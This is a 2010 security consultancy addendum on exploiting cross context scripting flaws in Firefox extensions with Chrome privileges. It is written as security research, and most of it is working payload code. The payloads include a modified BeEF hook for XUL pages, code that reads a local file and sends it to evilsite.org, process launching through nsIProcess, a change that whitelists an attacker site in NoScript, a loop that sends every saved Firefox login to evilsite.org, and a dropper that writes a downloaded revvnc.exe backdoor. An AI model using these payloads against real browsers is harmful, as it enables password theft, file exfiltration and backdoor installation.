security-assessment.com

Security-Assessment.com Addendum

Exploiting Cross Context Scripting Vulnerabilities in Firefox

Prepared by:	Nick Freeman Security Consultant Security-Assessment.com
In collaboration with:	Roberto Suggi Liverani Senior Security Consultant Security-Assessment.com
Date:	21 April 2010

Introduction

This paper should be considered an addendum to the white paper “Cross Context Scripting with Firefox”[1]. This paper exclusively focuses on exploits which can be used to leverage Chrome Cross Context Scripting (XCS) vulnerabilities in Firefox. Exploitation of Firefox extensions is also supported by BeEF[2], the browser exploitation framework, via the nsIProcess[3] BeEF module.

BeEF

A module that interfaces with nsIProcess has been developed for BeEF by Wade Alcorn and Roberto Suggi Liverani. The nsIProcess BeEF module is based on the nsIProcess XPCOM interface. This interface represents an executable process. JavaScript code with Chrome privileges can use the nsIProcess interface to launch executable files. In the current BeEF nsIProcess module, nsIProcess is combined with the Windows command prompt cmd.exe. Any XCS injection in a Chrome privileged zone allows the BeEF nsIProcess module to execute arbitrary commands on the victim machine.

This is possible by injecting the BeEF hook into a vulnerable Firefox extension. This makes exploiting an extension significantly easier, as the exploit no longer needs to be tailored for the specific command or injection point.

In order for the exploit to work reliably in all different points in an extension, the BeEF hook has been modified to support typical extension content, such as XUL documents and XUL root-elements (window, wizard, page, dialog, overlay and prefwindow). The new BeEF hook is shown in the following table:

XUL support in beefmagic.js.php hook

```
[…]
/ ---[ IS_XUL_CHROME
// determing if we are in Chrome (privileged browser zone)
function isXULChrome() {
      try {
            // check if this is a standard HTML page or a different
document (e.g. XUL)
            // if that is undefined, then catch() will be executed
            var dummy = document.body.innerHTML;
            return false;
      } catch(e) {
            // if we get here, that means head is undefined so probably
```

[1] Cross Context Scripting with Firefox - http://www.security-assessment.com/files/whitepapers/Cross_Context_Scripting_with_Firefox.pdf

[2] BeEF - http://www.bindshell.net/tools/beef/

[3] nsIProcess - https://developer.mozilla.org/en/nsIProcess

```
not an HTML doc
			return true;
		}
}
[…]
// ---[ INCLUDE
function include(script_filename) {

		if( ! isXULChrome() ) {
			var html_doc = document.getElementsByTagName('head').item(0);
			var js = document.createElement('script');
			js.src = script_filename;
			js.type = 'text/javascript';
			js.defer = true;
			html_doc.appendChild(js);
			return js;
		} else {
			//top/root XUL elements are: window, dialog, overlay, wizard,
prefwindow, page, wizard

			var xul_doc;

			if ((xul_doc=document.getElementsByTagName('window')[0]) ||
(xul_doc=document.getElementsByTagName('page')[0]) ||
(xul_doc=document.getElementsByTagName('dialog')[0]) ||
(xul_doc=document.getElementsByTagName('overlay')[0]) ||
(xul_doc=document.getElementsByTagName('wizard')[0]) ||
(xul_doc=document.getElementsByTagName('prefwindow')[0])) {

				var js =
document.createElementNS("http://www.w3.org/1999/xhtml","html:script");
				js.setAttribute("src", script_filename);
				js.setAttribute("type", "text/javascript");
				js.setAttribute("defer", "true");
				xul_doc.appendChild(js);
				return js;
			}
		}
}
[…]
```

In certain circumstances, a simple injection such as <script src=http://beefhook></script> will make the zombie appear in the logs but is not sufficient for the data polling. This is because the injection occurs in an area outside of the DOM and/or where either the window or document objects have not been fully initialised. Without these elements, the <script> tag cannot be appended – so it is necessary to create them first. Even a single character can create the DOM and therefore the script tag can be appended by the BeEF hook, as mentioned in the white paper “Cross Context Scripting with Firefox”.

Local File Access

As the Chrome zone does not conform to SOP restrictions, it is possible to read from a local resource and send the results to a remote location.

In the example code below, the contents of a local file (C:\boot.ini) are read into an <iframe>. A short delay is set using *setTimeout()*, to allow time for the <iframe> to be populated. The contents are read from the <iframe> and sent to a remote site as a URL parameter.

Local File Access Payload

```
var fileToRead=”file:///C:/boot.ini”;
var fileContents=document.ReadURL.readFile(fileToRead);
setTimeout(“”,100);
var remoteLocation=”http://evilsite.org/” + unescape(fileContents);
document.location=remoteLocation;
```

Remote Code Execution

The following example exploit code will start an instance of gnome-terminal, a graphical terminal console program in Linux. It does this by using the nsILocalFile[4] and nsIProcess XPCOM components.

Remote Code Execution Payload

```
var lFile =
Components.classes["@mozilla.org/file/local;1"].createInstance(Components
.interfaces.nsILocalFile);
var lPath = "/usr/bin/gnome-terminal";
lFile.initWithPath(lPath);
var process =
Components.classes["@mozilla.org/process/util;1"].createInstance(Componen
ts.interfaces.nsIProcess);
process.init(lFile);
process.run(false,'','');
```

Disabling NoScript

The NoScript extension is used by many Firefox users to whitelist which sites are able to run JavaScript in their browser. Chrome zone access includes the ability to modify Firefox preferences, such as the sites which are included in NoScript's whitelist.

The exploit below would overwrite the current whitelist settings to also allow JavaScript originating from the site 'malicioussitehere.com' to execute.

Disabling NoScript Payload

```
var prefs = Components.classes["@mozilla.org/preferences-
service;1"].getService(Components.interfaces.nsIPrefService);
prefs = prefs.getBranch("capability.policy.maonoscript.");
prefs.setCharPref("sites", "default noscript whitelisted sites +
malicioussitehere.com");
```

[4] nsILocalFile - https://developer.mozilla.org/en/nsILocalFile

Stealing Passwords

The Chrome zone has access to the password store. If the user has a master password set, it is not possible to steal passwords in this manner. The code below shows retrieving the stored usernames and passwords with the respective hosts, and sending them to a remote host as URL parameters.

Password Stealing Payload

```
var l2m=Components.classes["@mozilla.org/login-
manager;1"].getService(Components.interfaces.nsILoginManager);
alltheinfo = l2m.getAllLogins({});
for (i=0;i<=alltheinfo.length;i=i+1) {
window.open('http://evilsite.org/?' + unescape(alltheinfo[i].hostname) +
‘.’ + unescape(alltheinfo[i].username) + '.' +
unescape(alltheinfo[i].password));
}
```

Writing to the File System

XPCOM components can be used to write data to the file system. This can be exploited by silently downloading a backdoor to the client’s computer and then executing it with the Remote Code Execution payload shown earlier. It is important to use the *overrideMimeType*[5] directive, as data is transferred in UTF-7 otherwise, which isn’t appropriate for transferring binary files.

Writing to the File System

```
var xmlhttp;
function loadXMLDoc(url){
 xmlhttp=new XMLHttpRequest();
 xmlhttp.open("GET",url,false);
 xmlhttp.overrideMimeType('text/plain; charset=x-user-defined');
xmlhttp.send(null);
 if (xmlhttp.status==200){
  setTimeout("",300); makefile(xmlhttp.responseText);
 }
}
function makefile(bdata){
 var getWorkingDir=
Components.classes["@mozilla.org/file/directory_service;1"].getService(Co
mponents.interfaces.nsIProperties).get("Home",
Components.interfaces.nsIFile);
```

[5] XMLHttpRequest MDC - https://developer.mozilla.org/en/XMLHttpRequest#overrideMimeType()

```
 var aFile =
Components.classes["@mozilla.org/file/local;1"].createInstance(Components
.interfaces.nsILocalFile);
 aFile.initWithPath( getWorkingDir.path + "\\revvnc.exe" );
 aFile.createUnique( Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
777);
 var stream = Components.classes["@mozilla.org/network/safe-file-output-
stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
 stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0);
 stream.write(bdata, bdata.length);
  if (stream instanceof Components.interfaces.nsISafeOutputStream){
    stream.finish();
  }
  else{
    stream.close();
  }
}
```

About Security-Assessment.com

Security-Assessment.com is an established team of Information Security consultants specialising in providing high quality Information Security Assurance services to clients throughout Australasia. We provide independent advice, in-depth knowledge and high level technical expertise to clients who range from small businesses to some of the world's largest companies

Security-Assessment.com provides security solutions that enable developers, government and enterprises to add strong security to their businesses, devices, networks and applications. We lead the market in on-line security compliance applications with the SA-ISO Security Compliance Management system, which enables companies to ensure that they are effective and in line with accepted best practice for Information Security Management.

Copyright Information